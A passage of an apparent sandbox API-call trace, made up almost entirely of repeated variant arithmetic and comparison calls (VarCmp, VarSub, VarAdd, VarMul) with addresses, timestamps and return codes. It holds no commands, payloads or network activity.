pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.257] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x0 [0018.257] VarSub (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.257] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.257] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x0 [0018.257] VarSub (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.257] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.257] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x0 [0018.258] VarSub (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.258] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.258] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x0 [0018.258] VarSub (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.258] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.258] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x0 [0018.258] VarSub (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.258] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.258] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x0 [0018.258] VarSub (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.258] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.258] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x0 [0018.258] VarSub (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.258] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.258] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x0 [0018.258] VarSub (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.258] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.258] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x0 [0018.258] VarSub (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.258] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.258] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x0 [0018.258] VarSub (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.258] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.258] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x0 [0018.258] VarSub (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.258] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.258] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x0 [0018.258] VarSub (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.258] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.258] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x0 [0018.258] VarSub (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.258] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.258] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x0 [0018.258] VarSub (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.258] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.258] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x0 [0018.258] VarSub (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.258] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.258] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x0 [0018.258] VarSub (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.258] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.258] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x0 [0018.258] VarSub (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.258] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.258] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.258] VarSub (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.258] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.258] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.258] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x0 [0018.258] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.258] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.258] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x0 [0018.258] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.258] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.258] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x0 [0018.258] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.258] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.258] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x0 [0018.258] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.258] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.258] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x0 [0018.258] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.258] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.258] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x0 [0018.258] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.258] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.259] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x0 [0018.259] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.259] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.259] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x0 [0018.259] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.259] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.259] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x0 [0018.259] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.259] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.259] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x0 [0018.259] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.259] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.259] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.259] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.259] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.259] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.259] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x0 [0018.259] VarSub (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.259] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.259] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x0 [0018.259] VarSub (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.259] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.259] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x0 [0018.259] VarSub (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.259] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.259] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x0 [0018.259] VarSub (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.259] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.259] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x0 [0018.259] VarSub (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.259] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.259] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x0 [0018.259] VarSub (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.259] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.259] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x0 [0018.259] VarSub (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.259] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.259] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x0 [0018.259] VarSub (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.259] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.259] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x0 [0018.259] VarSub (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.259] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.259] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x0 [0018.259] VarSub (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.259] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.259] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x0 [0018.259] VarSub (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.259] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.259] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x0 [0018.259] VarSub (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.259] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.259] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x0 [0018.259] VarSub (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.259] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.259] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x0 [0018.259] VarSub (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.259] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.259] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x0 [0018.259] VarSub (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.259] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.259] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x0 [0018.259] VarSub (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.259] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.260] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x0 [0018.260] VarSub (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.260] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.260] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x0 [0018.260] VarSub (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.260] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.260] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x0 [0018.260] VarSub (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.260] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.260] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x0 [0018.260] VarSub (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.260] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.260] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x0 [0018.260] VarSub (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.260] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.260] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x0 [0018.260] VarSub (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.260] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.260] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x0 [0018.260] VarSub (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.260] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.260] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x0 [0018.260] VarSub (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.260] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.260] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x0 [0018.260] VarSub (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.260] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.260] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x0 [0018.260] VarSub (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.260] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.260] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.260] VarSub (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.260] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.260] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.260] SafeArrayCopy (in: psa=0x7461860, ppsaOut=0x264620 | out: ppsaOut=0x264620) returned 0x0 [0018.260] SafeArrayDestroyData (psa=0x7461860) returned 0x0 [0018.260] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.261] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.261] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.261] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461ce0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.261] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.261] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.261] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.261] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461dc0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.261] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.261] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.261] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.261] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461d48, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.261] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.261] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.261] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.261] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461ce0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.261] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.261] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.261] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.261] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461dc0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.261] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.261] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.261] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.261] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461d48, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.261] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.261] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.261] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.261] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461ce0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.261] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.261] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.261] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.261] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461dc0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.261] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.261] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.261] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.261] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461d48, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.261] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.261] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.261] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.261] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461ce0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.261] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.261] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.261] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.261] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461dc0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.261] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.261] VarCmp (pvarLeft=0x7461c28, 